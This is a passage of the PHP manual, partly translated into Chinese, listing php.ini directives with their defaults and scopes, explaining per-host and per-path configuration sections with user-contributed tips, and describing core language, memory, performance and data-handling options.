phar.cache_list | "" | PHP_INI_SYSTEM | 从 PHP 5.4.0 起可用。
phar.extract_list | "" | PHP_INI_ALL | 从 phar 1.1.0 起可用。
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
post_max_size | "8M" | PHP_INI_PERDIR |
precision | "14" | PHP_INI_ALL |
python.append_path | "" | PHP_INI_ALL |
python.prepend_path | "." | PHP_INI_ALL |
realpath_cache_size | "16K" | PHP_INI_SYSTEM | 从 PHP 5.1.0 起可用。
realpath_cache_ttl | "120" | PHP_INI_SYSTEM | 从 PHP 5.1.0 起可用。
register_argc_argv | "1" | PHP_INI_PERDIR |
register_globals | "0" | PHP_INI_PERDIR | 从 PHP 5.3.0 起不推荐使用。 在 PHP 5.4.0 中移除该选项。
register_long_arrays | "1" | PHP_INI_PERDIR | 从 PHP 5.3.0 起不推荐使用。在 PHP 5.4.0 中移除该选项。
report_memleaks | "1" | PHP_INI_ALL |
report_zend_debug | "1" | PHP_INI_ALL |
request_order | "" | PHP_INI_PERDIR | 在 PHP 5.3.0 时增加
runkit.internal_override | "0" | PHP_INI_SYSTEM |
runkit.superglobal | "" | PHP_INI_PERDIR |
safe_mode | "0" | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
safe_mode_allowed_env_vars | "PHP_" | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
safe_mode_exec_dir | "" | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
safe_mode_gid | "0" | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
safe_mode_include_dir | NULL | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
safe_mode_protected_env_vars | "LD_LIBRARY_PATH" | PHP_INI_SYSTEM | 在 PHP 5.4.0 中移除该选项。
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | PHP_INI_SYSTEM |
serialize_precision | "-1" | PHP_INI_ALL | 到 PHP 5.3.5 为止，默认值为 100。 到 PHP 7.1.0 为止，默认值为 17。
session.auto_start | "0" | PHP_INI_PERDIR | PHP <= 5.4.19 and 和 PHP <= 5.5.1 时，是 PHP_INI_ALL。
session.bug_compat_42 | "1" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。 在 PHP 5.4.0 中移除该选项。
session.bug_compat_warn | "1" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
session.cache_expire | "180" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_httponly | "" | PHP_INI_ALL | 从 PHP 5.2.0 起可用。
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL |
session.entropy_file | "" | PHP_INI_ALL | PHP 7.1.0 中移除。
session.entropy_length | "0" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL |
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.gc_probability | "1" | PHP_INI_ALL |
session.sid_bits_per_character | "32" | PHP_INI_ALL | 从 PHP 7.1.0 起可用。
session.hash_bits_per_character | "5" | PHP_INI_ALL | 从 PHP 7.1.0 起移除。
session.hash_function | "0" | PHP_INI_ALL | 从 PHP 7.1.0 起移除。
session.lazy_write | "1" | PHP_INI_ALL | 从 PHP 7.0.0 起可用
session.name | "PHPSESSID" | PHP_INI_ALL |
session.referer_check | "" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.save_path | "" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.upload_progress.cleanup | "1" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.upload_progress.enabled | "1" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.upload_progress.freq | "1%" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.upload_progress.min_freq | "1" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.upload_progress.prefix | "upload_progress_" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用
session.use_strict_mode | "0" | PHP_INI_ALL | 从 PHP 5.5.2 起可用
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "1" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL |
session_pgsql.create_table | "1" | PHP_INI_SYSTEM |
session_pgsql.db | "host=localhost dbname=php_session user=nobody" | PHP_INI_SYSTEM |
session_pgsql.disable | "0" | PHP_INI_SYSTEM |
session_pgsql.failover_mode | "0" | PHP_INI_SYSTEM |
session_pgsql.gc_interval | "3600" | PHP_INI_SYSTEM |
session_pgsql.keep_expired | "0" | PHP_INI_SYSTEM |
session_pgsql.sem_file_name | "/tmp/php_session_pgsql" | PHP_INI_SYSTEM |
session_pgsql.serializable | "0" | PHP_INI_SYSTEM |
session_pgsql.short_circuit | "0" | PHP_INI_SYSTEM |
session_pgsql.use_app_vars | "0" | PHP_INI_SYSTEM |
session_pgsql.vacuum_interval | "21600" | PHP_INI_SYSTEM |
short_open_tag | "1" | PHP_INI_PERDIR |
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL |
soap.wsdl_cache | "1" | PHP_INI_ALL | 从 PHP 5.1.5 起可用。
soap.wsdl_cache_dir | "/tmp" | PHP_INI_ALL |
soap.wsdl_cache_enabled | "1" | PHP_INI_ALL |
soap.wsdl_cache_limit | "5" | PHP_INI_ALL | 从 PHP 5.1.5 起可用。
soap.wsdl_cache_ttl | "86400" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
sql.safe_mode | "0" | PHP_INI_SYSTEM |
sqlite.assoc_case | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
sqlite3.extension_dir | "" | PHP_INI_SYSTEM | 从 PHP 5.3.11 起可用。
sybase.allow_persistent | "1" | PHP_INI_ALL |
sybase.interface_file | "" | PHP_INI_ALL |
sybase.max_links | "-1" | PHP_INI_ALL |
sybase.max_persistent | "-1" | PHP_INI_ALL |
sybase.min_error_severity | "10" | PHP_INI_ALL |
sybase.min_message_severity | "10" | PHP_INI_ALL |
sybct.deadlock_retry_count | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
sybct.login_timeout | "-1" | PHP_INI_ALL |
sybct.packet_size | "0" | PHP_INI_ALL |
sybct.timeout | "0" | PHP_INI_ALL |
sys_temp_dir | "" | PHP_INI_SYSTEM | 从 PHP 5.5.0 起可用
sysvshm.init_mem | "10000" | PHP_INI_ALL |
tidy.clean_output | "0" | PHP_INI_USER | 在 PHP 5 时是 PHP_INI_PERDIR。
tidy.default_config | "" | PHP_INI_SYSTEM |
track_errors | "0" | PHP_INI_ALL |
unserialize_callback_func | NULL | PHP_INI_ALL |
uploadprogress.file.filename_template | "/tmp/upt_%s.txt" | PHP_INI_ALL |
upload_max_filesize | "2M" | PHP_INI_PERDIR |
max_file_uploads | 20 | PHP_INI_SYSTEM | 从 PHP 5.2.12 起可用。
upload_tmp_dir | NULL | PHP_INI_SYSTEM |
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL |
user_agent | NULL | PHP_INI_ALL |
user_dir | NULL | PHP_INI_SYSTEM |
user_ini.cache_ttl | "300" | PHP_INI_SYSTEM | 从 PHP 5.3.0 起可用。
user_ini.filename | ".user.ini" | PHP_INI_SYSTEM | 从 PHP 5.3.0 起可用。
valkyrie.auto_validate | "0" | PHP_INI_ALL |
valkyrie.config_path | NULL | PHP_INI_ALL |
variables_order | "EGPCS" | PHP_INI_PERDIR | 在 PHP <= 5.0.5 时是 PHP_INI_ALL。
vld.active | "0" | PHP_INI_SYSTEM |
vld.execute | "1" | PHP_INI_SYSTEM | 从 vld 0.8.0 起可用。
vld.skip_append | "0" | PHP_INI_SYSTEM | 从 vld 0.8.0 起可用。
vld.skip_prepend | "0" | PHP_INI_SYSTEM | 从 vld 0.8.0 起可用。
windows.show_crt_warning | "0" | PHP_INI_ALL | 从 PHP 5.4.0 起可用。
xbithack | "0" | PHP_INI_ALL |
xdebug.auto_profile | "0" | PHP_INI_ALL | 在 Xdebug 2.0.0 中移除该选项。
xdebug.auto_profile_mode | "0" | PHP_INI_ALL | 在 Xdebug 2.0.0 中移除该选项。
xdebug.auto_trace | "0" | PHP_INI_ALL |
xdebug.collect_includes | "1" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.collect_params | "0" | PHP_INI_ALL |
xdebug.collect_return | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.collect_vars | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.default_enable | "1" | PHP_INI_ALL | 在 Xdebug 1 时是 PHP_INI_SYSTEM。
xdebug.dump.COOKIE | NULL | PHP_INI_ALL |
xdebug.dump.ENV | NULL | PHP_INI_ALL |
xdebug.dump.FILES | NULL | PHP_INI_ALL |
xdebug.dump.GET | NULL | PHP_INI_ALL |
xdebug.dump.POST | NULL | PHP_INI_ALL |
xdebug.dump.REQUEST | NULL | PHP_INI_ALL |
xdebug.dump.SERVER | NULL | PHP_INI_ALL |
xdebug.dump.SESSION | NULL | PHP_INI_ALL |
xdebug.dump_globals | "1" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.dump_once | "1" | PHP_INI_ALL |
xdebug.dump_undefined | "0" | PHP_INI_ALL |
xdebug.extended_info | "1" | PHP_INI_SYSTEM | 从 Xdebug 2.0.0 起可用。
xdebug.idekey | "" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.manual_url | "http://www.php.net" | PHP_INI_ALL |
xdebug.max_nesting_level | "100" | PHP_INI_ALL |
xdebug.output_dir | "/tmp" | PHP_INI_PERDIR | 在 Xdebug <= 1.2.0 时是 PHP_INI_SYSTEM。 在 Xdebug 2.0.0 中移除该选项。
xdebug.profiler_aggregate | "0" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.profiler_append | "0" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.profiler_enable | "0" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.profiler_enable_trigger | "0" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.profiler_output_dir | "/tmp" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.profiler_output_name | "cachegrind.out.%p" | PHP_INI_PERDIR | 从 Xdebug 2.0.0 起可用。
xdebug.remote_autostart | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.remote_enable | "0" | PHP_INI_PERDIR |
xdebug.remote_handler | "dbgp" | PHP_INI_ALL |
xdebug.remote_host | "localhost" | PHP_INI_ALL |
xdebug.remote_log | "" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.remote_mode | "req" | PHP_INI_ALL |
xdebug.remote_port | "9000" | PHP_INI_ALL |
xdebug.show_exception_trace | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.show_local_vars | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.show_mem_delta | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.trace_format | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.trace_options | "0" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.trace_output_dir | "/tmp" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.trace_output_name | "trace.%c" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.var_display_max_children | "128" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.var_display_max_data | "512" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xdebug.var_display_max_depth | "3" | PHP_INI_ALL | 从 Xdebug 2.0.0 起可用。
xmlrpc_errors | "0" | PHP_INI_SYSTEM |
xmlrpc_error_number | "0" | PHP_INI_ALL |
xmms.path | "/usr/bin/xmms" | PHP_INI_ALL |
xmms.session | "0" | PHP_INI_ALL |
xsl.security_prefs | "44" | PHP_INI_ALL | Available since PHP 5.5.0.
y2k_compliance | "1" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
yami.response.timeout | "5" | PHP_INI_ALL | 从 yami 1.0.1 起可用。
yaz.keepalive | "120" | PHP_INI_ALL |
yaz.log_mask | NULL | PHP_INI_ALL | 从 yaz 1.0.3 起可用。
zend.assertions | "1" | PHP_INI_ALL | 从 PHP 7.0.0 起可用。
zend.detect_unicode | "1" | PHP_INI_ALL | 从 PHP 5.4.0 起可用。
zend.enable_gc | "1" | PHP_INI_ALL | 从 PHP 5.3.0 起可用。
zend.multibyte | "0" | PHP_INI_PERDIR | 从 PHP 5.4.0 起可用。
zend.script_encoding | NULL | PHP_INI_ALL | 从 PHP 5.4 起可用。0
zend.signal_check | "0" | PHP_INI_SYSTEM | 从 PHP 5.4 起可用。0
zend.ze1_compatibility_mode | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。 在 PHP 5.3.0 中移除该选项。
zend_extension | NULL | php.ini only |
zend_extension_debug | NULL | php.ini only |
zend_extension_debug_ts | NULL | php.ini only |
zend_extension_ts | NULL | php.ini only |
zlib.output_compression | "0" | PHP_INI_ALL |
zlib.output_compression_level | "-1" | PHP_INI_ALL |
zlib.output_handler | "" | PHP_INI_ALL |

User Contributed Notes

There are no user contributed notes for this page.


php.ini 配置段列表

This list includes the php.ini sections you can set to configure your PHP setup on a per Host or Path basis. These sections are optional.

These sections don't directly affect PHP. They are used to group other php.ini directives together and to get them to act upon a particular host or on a particular path.

These sections are used only in CGI/FastCGI mode and they can not set extension and zend_extension directives.

配置段
名字 | 可修改范围 | 更新日志
[HOST=] | PHP_INI_SYSTEM | 在 PHP 5.3.0 时增加。
[PATH=] | PHP_INI_SYSTEM | 在 PHP 5.3.0 时增加。

这是配置指令的简短说明。

[HOST=<host>]

This section allows you to define a set of php.ini directives that will take effect on the named host.

Example #1 Activate full on-screen error reporting for dev. domain

[HOST=dev.site.com]
error_reporting = E_ALL
display_errors = On

[PATH=<path>]

This section allows you to define a set of php.ini directives that will take effect when a script runs from the named path.

Example #2 Add security script for protected areas

[PATH=/home/site/public/secure]
auto_prepend_file=security.php

User Contributed Notes

robinhook at mail dot com 22-Apr-2018 07:14
Sorry for the note. I've read some bad tutorials.
The correct syntax is : directive = 'value'
not a thing like : php_value[directive] = "somevalue"
robinhook at mail dot com 22-Apr-2018 06:59
this HOST and PATH sections doesn't seems to work in php.ini under apache 2.4 with php-fpm 7.1.16 for directive php_value or php_admin_value open_basedir or include_path.
phpinfo() says "none" in master and local values.
z dot himdi at bita dot nl 04-Aug-2011 07:53
On Windows IIS 7 server I noticed that [PATH=] was not listened to. [HOST=] however worked.
leo 06-May-2011 03:21
Just developed the probably first php.ini hack to add commands which will only be parsed before PHP 5.3 when using mod_php.

<?php

# Disable eAccelerator by default
eaccelerator.enable = 0

# Now, to prevent incompatibilities with Zend Optimizer+, we
# want to enable eAccelerator only in PHP 5.2 or lower.
[HOST=*]
eaccelerator.enable = 1

?>

What is happening here? In PHP 5.3, php.ini sections to set up PHP on a per host basis have been introduced:

http://www.php.net/manual/en/ini.sections.php

These sections only work in CGI/FastCGI mode, however there still seems to be a difference in how the php.ini file is parsed in PHP 5.2 and PHP 5.3 when using mod_php: PHP 5.3 ignores everything below the line [HOST=*], whereas PHP 5.2 does not.

In the above example, PHP 5.3 only reads "eaccelerator.enable = 0" and then stops at the invalid command [HOST=*]. However, PHP 5.2 seems to ignore the invalid command and parses the whole configuration file, ending up with "eaccelerator.enable = 1".
crash at lubyte dot de 06-Sep-2010 05:45
If you have a system which uses separated PHP inis for loading extensions (Debian, Fedora and most other distributions do so), [PATH=] or [HOST=] will prevent loading extensions defined in those ini files (extension= and zend_extension=).

I had some headache, when I added a hosts.ini to /etc/php5/cgi/conf.d (Debians default), where I wanted to define some defaults for a host name. The manual says extension= and zend_extension= aren't allowed in [HOST=] and [PATH=] (see above). I figured out that you can easily fix that with adding [PHP] after your definitions.

For example hosts.ini:
[HOST=dev.example.com]
display_errors = on

[PHP]

this will change the section back to [PHP] where extension= and zend_extension= is allowed.
robert dot johnson at icap dot com 12-Apr-2010 10:26
Adding PATH= applies only to the named path and does not include sub-directories, you have to add a PATH= value for each sub-directory.

Also some settings have no effect even though phpinfo recognises and displays the per-folder value as the 'local' value, and the default as the 'master' value.

'fastcgi.impersonate' always uses the master setting.
public at grik dot net 24-Sep-2009 03:00
In [HOST=...] one should use only the 1st server name from the list of server names.

I.E. if you have
server_name example.com, example2.com;
and will use www.example.com in a browser,
use [HOST=example.com] in php.ini for both addresses.

PHP looks not at the HOST request header (as I expected), but at the SERVER_NAME parameter (which by default is the 1st from the list of names, no matter what the HOST is).


php.ini 核心配置选项说明

该列表只包含核心的 php.ini 配置选项。扩展的配置选项在各个扩展的文档页面分别被描述。有关 session 的选项可以在 sessions 页面找到。

Note:

The defaults listed here are used when php.ini is not loaded; the values for the production and development php.ini may vary.

语言选项

语言和杂类配置选项
名字 | 默认 | 可修改范围 | 更新日志
short_open_tag | "1" | PHP_INI_PERDIR |
asp_tags | "0" | PHP_INI_PERDIR | PHP 7.0.0. 中移除。
precision | "14" | PHP_INI_ALL |
serialize_precision | "17" | PHP_INI_ALL | 在 PHP 5.3.5以前，默认值为 100
y2k_compliance | "1" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
allow_call_time_pass_reference | "1" | PHP_INI_PERDIR | 在 PHP 5.4.0 中移除该选项。
disable_functions | "" | 仅仅为 PHP_INI_SYSTEM |
disable_classes | "" | 仅仅为 php.ini |
exit_on_timeout | "" | PHP_INI_ALL | 从 PHP 5.3.0 起可用。
expose_php | "1" | php.ini only |
hard_timeout | "2" | PHP_INI_SYSTEM | PHP 7.1.0 起可用
zend.multibyte | "0" | PHP_INI_ALL | 从 PHP 5.4.0 起可用
zend.script_encoding | NULL | PHP_INI_ALL | 从 PHP 5.4.0 起可用
zend.detect-unicode | NULL | PHP_INI_ALL | 从 PHP 5.4.0 起可用
zend.signal_check | "0" | PHP_INI_SYSTEM | 从 PHP 5.4.0 起可用
zend.assertions | "1" | PHP_INI_ALL | 从 PHP 7.0.0 起可用
zend.ze1_compatibility_mode | "0" | PHP_INI_ALL | 在 PHP 5.3.0 中移除该选项
detect_unicode | "1" | PHP_INI_ALL | 从 PHP 5.1.0起可用。 PHP 5.4.0 起重命名为 zend.detect-unicode。

这是配置指令的简短说明。

short_open_tag boolean

决定是否允许使用 PHP 代码开始标志的缩写形式（<? ?>）。如果要和 XML 结合使用 PHP，可以禁用此选项以便于嵌入使用 <?xml ?>。否则还可以通过 PHP 来输出，例如：<?php echo '<?xml version="1.0"'; ?>。如果禁用了，必须使用 PHP 代码开始标志的完整形式（<?php ?>）。

Note:

本指令也会影响到缩写形式 <?=，它和 <? echo 等价。使用此缩写需要 short_open_tag 的值为 On。 从 PHP 5.4.0 起， <?= 总是可用的。

asp_tags boolean
除了通常的 <?php ?> 标志之外还允许使用 ASP 风格的标志 <% %>。这也包括了输出变量值的缩写 <%= $value %>。更多信息见从 HTML 中分离一节。

Changelog for asp_tags
版本 | 说明
7.0.0 | 从 PHP 中移除。

precision integer
浮点数中显示有效数字的位数。-1 means that an enhanced algorithm for rounding such numbers will be used.
serialize_precision integer
The number of significant digits stored while serializing floating point numbers. -1 means that an enhanced algorithm for rounding such numbers will be used.
y2k_compliance boolean
强制 2000 年兼容（在不兼容的浏览器中会出问题）。
allow_call_time_pass_reference boolean

在函数调用时参数被按照引用传递时是否发出警告。此方法已不被赞成并在 PHP/Zend 未来的版本中很可能不再支持。鼓励使用的方法是在函数定义中指定哪些参数应该用引用传递。鼓励大家尝试关闭此选项并确保脚本能够正常运行，以确保该脚本也能在未来的版本中运行（每次使用此特性都会收到一条警告）。

在函数调用时通过引用传递参数是不推荐的，因为它影响到了代码的整洁。如果函数的参数没有声明作为引用传递，函数可以通过未写入文档的方法修改其参数。要避免其副作用，最好仅在函数声明时指定那个参数需要通过引用传递。

参见引用的解释。

Changelog for allow_call_time_pass_reference
版本 | 说明
5.4.0 | 从 PHP 中移除。
5.3.0 | Emits an E_DEPRECATED level error.
5.0.0 | Deprecated, and generates an E_COMPILE_WARNING level error.

expose_php boolean

决定是否暴露 PHP 被安装在服务器上（例如在 Web 服务器的信息头中加上其签名：X-Powered-By: PHP/5.3.7)。 The PHP logo guids are also exposed, thus appending them to the URL of a PHP enabled site will display the appropriate logo (e.g., » https://www.php.net/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42). This also affects the output of phpinfo(), as when disabled, the PHP logo and credits information will not be displayed.

Note:

Since PHP 5.5.0 these guids and the php_logo_guid() function have been removed from PHP and the guids are replaced with data URIs instead. Thus accessing the PHP logo via appending the guid to the URL no longer works. Similarly, turning expose_php off will not affect seeing the PHP logo in phpinfo().

See also php_logo_guid() and phpcredits().

disable_functions string

本指令允许你基于安全原因禁止某些函数。接受逗号分隔的函数名列表作为参数。 disable_functions 不受安全模式的影响。

Only internal functions can be disabled using this directive. User-defined functions are unaffected.

本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。

disable_classes string
本指令可以使你出于安全的理由禁用某些类。用逗号分隔类名。disable_classes 不受安全模式的影响。 本指令只能设置在 php.ini 中。例如不能将其设置在 httpd.conf。
zend.assertions integer
When set to 1, assertion code will be generated and executed (development mode). When set to 0, assertion code will be generated but it will be skipped (not executed) at runtime. When set to -1, assertion code will not be generated, making the assetions zero-cost (production mode).

Note:

If a process is started in production mode, zend.assertions cannot be changed at runtime, since the code for assertions was not generated.

If a process is started in development mode, zend.assertions cannot be set to -1 at runtime.

zend.ze1_compatibility_mode boolean

Enable compatibility mode with Zend Engine 1 (PHP 4). It affects the cloning, casting (objects with no properties cast to FALSE or 0), and comparing of objects. In this mode, objects are passed by value instead of reference by default.

See also the section titled Migrating from PHP 4 to PHP 5.

Warning

This feature has been DEPRECATED and REMOVED as of PHP 5.3.0.

hard_timeout integer

zend.multibyte boolean

Enables parsing of source files in multibyte encodings. Enabling zend.multibyte is required to use character encodings like SJIS, BIG5, etc that contain special characters in multibyte string data. ISO-8859-1 compatible encodings like UTF-8, EUC, etc do not require this option.

Enabling zend.multibyte requires the mbstring extension to be available.

zend.script_encoding string

This value will be used unless a declare(encoding=...) directive appears at the top of the script. When ISO-8859-1 incompatible encoding is used, both zend.multibyte and zend.script_encoding must be used.

Literal strings will be transliterated from zend.script_enconding to mbstring.internal_encoding, as if mb_convert_encoding() would have been called.

zend.detect_unicode boolean

Check for BOM (Byte Order Mark) and see if the file contains valid multibyte characters. This detection is performed before processing of __halt_compiler(). Available only in Zend Multibyte mode.

zend.signal_check boolean

To check for replaced signal handlers on shutdown.

exit_on_timeout boolean

This is an Apache1 mod_php-only directive that forces an Apache child to exit if a PHP execution timeout occurred. Such a timeout causes an internal longjmp() call in Apache1 which can leave some extensions in an inconsistent state. By terminating the process any outstanding locks or memory will be cleaned up.

Resource Limits

Resource Limits
名字 | 默认 | 可修改范围 | 更新日志
memory_limit | "128M" | PHP_INI_ALL | "8M" before PHP 5.2.0, "16M" in PHP 5.2.0

这是配置指令的简短说明。

memory_limit integer

This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1.

Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using --enable-memory-limit in the configure line. This compile-time flag was also required to define the functions memory_get_usage() and memory_get_peak_usage() prior to 5.2.1.

当使用 integer 时, 其值以字节来衡量。还可以使用在FAQ中描述的速记符。

See also: max_execution_time.

Performance Tuning

Performance Tuning
名字 | 默认 | 可修改范围 | 更新日志
realpath_cache_size | "4M" | PHP_INI_SYSTEM | Available since PHP 5.1.0. Prior to PHP 7.0.16 and 7.1.2, the default was "16K"
realpath_cache_ttl | "120" | PHP_INI_SYSTEM | Available since PHP 5.1.0.

这是配置指令的简短说明。

realpath_cache_size integer

Determines the size of the realpath cache to be used by PHP. This value should be increased on systems where PHP opens many files, to reflect the quantity of the file operations performed.

The size represents the total number of bytes in the path strings stored, plus the size of the data associated with the cache entry. This means that in order to store longer paths in the cache, the cache size must be larger. This value does not directly control the number of distinct paths that can be cached.

The size required for the cache entry data is system dependent.

realpath_cache_ttl integer

Duration of time (in seconds) for which to cache realpath information for a given file or directory. For systems with rarely changing files, consider increasing the value.

Data Handling

Data Handling Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
arg_separator.output | "&" | PHP_INI_ALL |
arg_separator.input | "&" | PHP_INI_PERDIR |
variables_order | "EGPCS" | PHP_INI_PERDIR | PHP_INI_ALL in PHP <= 5.0.5.
request_order | "" | PHP_INI_PERDIR | Available since PHP 5.3.0
auto_globals_jit | "1" | PHP_INI_PERDIR | Available since PHP 5.0.0.
register_globals | "0" | PHP_INI_PERDIR | Removed in PHP 5.4.0.
register_argc_argv | "1" | PHP_INI_PERDIR |
register_long_arrays | "1" | PHP_INI_PERDIR | Deprecated in PHP 5.3.0. Removed in PHP 5.4.0.
enable_post_data_reading | "1" | PHP_INI_PERDIR | Available since PHP 5.4.0
post_max_size | "8M" | PHP_INI_PERDIR |
auto_prepend_file | NULL | PHP_INI_PERDIR |
auto_append_file | NULL | PHP_INI_PERDIR |
default_mimetype | "text/html" | PHP_INI_ALL |
default_charset | "UTF-8" | PHP_INI_ALL | Defaults to "UTF-8" since PHP >= 5.6.0; empty for PHP < 5.6.0.
always_populate_raw_post_data | "0" | PHP_INI_PERDIR | Removed in PHP 7.0.0.

这是配置指令的简短说明。

arg_separator.output string

The separator used in PHP generated URLs to separate arguments.

arg_separator.input string

List of separator(s) used by PHP to parse input URLs into variables.

Note:

Every character in this directive is considered as separator!

variables_order string

Sets the order of the EGPCS (Environment, Get, Post, Cookie, and Server) variable parsing. For example, if variables_order is set to "SP" then PHP will create the superglobals $_SERVER and $_POST, but not create $_ENV, $_GET, and $_COOKIE. Setting to "" means no superglobals will be set.

If the deprecated register_globals directive is on, then variables_order also configures the order the ENV, GET, POST, COOKIE and SERVER variables are populated in global scope. So for example if variables_order is set to "EGPCS", register_globals is enabled, and both $_GET['action'] and $_POST['action'] are set, then $action will contain the value of $_POST['action'] as P comes after G in our example directive value.

Warning

In both the CGI and FastCGI SAPIs, $_SERVER is also populated by values from the environment; S is always equivalent to ES regardless of the placement of E elsewhere in this directive.

Note:

The content and order of $_REQUEST is also affected by this directive.

request_order string

This directive describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array. Registration is done from left to right, newer values override older values.

If this directive is not set, variables_order is used for $_REQUEST contents.

Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns.

auto_globals_jit boolean

When enabled, the SERVER, REQUEST, and ENV variables are created when they're first used (Just In Time) instead of when the script starts. If these variables are not used within a script, having this directive on will result in a performance gain.

The PHP directives register_globals, register_long_arrays, and register_argc_argv must be disabled for this directive to have any affect. Since PHP 5.1.3 it is not necessary to have register_argc_argv disabled.

Warning

Usage of SERVER, REQUEST, and ENV variables is checked during the compile time so using them through e.g. variable variables will not cause their initialization.

register_globals boolean

Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables.

As of » PHP 4.2.0, this directive defaults to off.

Please read the security chapter on Using register_globals for related information.

Please note that register_globals cannot be set at runtime (ini_set()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off.

Note:

register_globals is affected by the variables_order directive.

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

register_argc_argv boolean
Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line.
register_long_arrays boolean
Tells PHP whether or not to register the deprecated long $HTTP_*_VARS type predefined variables. When On (default), long predefined PHP variables like $HTTP_GET_VARS will be defined. If you're not using them, it's recommended to turn them off, for performance reasons. Instead, use the superglobal arrays, like $_GET. This directive became available in PHP 5.0.0.
Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

enable_post_data_reading boolean
Disabling this option causes $_POST and $_FILES not to be populated. The only way to read postdata will then be through the php://input stream wrapper. This can be useful to proxy requests or to process the POST data in a memory efficient fashion.
post_max_size integer
Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. Generally speaking, memory_limit should be larger than post_max_size. 当使用 integer 时, 其值以字节来衡量。还可以使用在FAQ中描述的速记符。 If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. <form action="edit.php?processed=1">, and then checking if $_GET['processed'] is set.

Note:

PHP allows shortcuts for byte values, including K (kilo), M (mega) and G (giga). PHP will do the conversions automatically if you use any of these. Be careful not to exceed the 32 bit signed integer limit (if you're using 32bit versions) as it will cause your script to fail.

Changelog for post_max_size
版本 | 说明
5.3.4 | post_max_size = 0 will not disable the limit when the content type is application/x-www-form-urlencoded or is not registered with PHP.
5.3.2 , 5.2.12 | Allow unlimited post size by setting post_max_size to 0.

auto_prepend_file string

Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.

The special value none disables auto-prepending.

auto_append_file string

Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used.

The special value none disables auto-appending.

Note: If the script is terminated with exit(), auto-append will not occur.

default_mimetype string

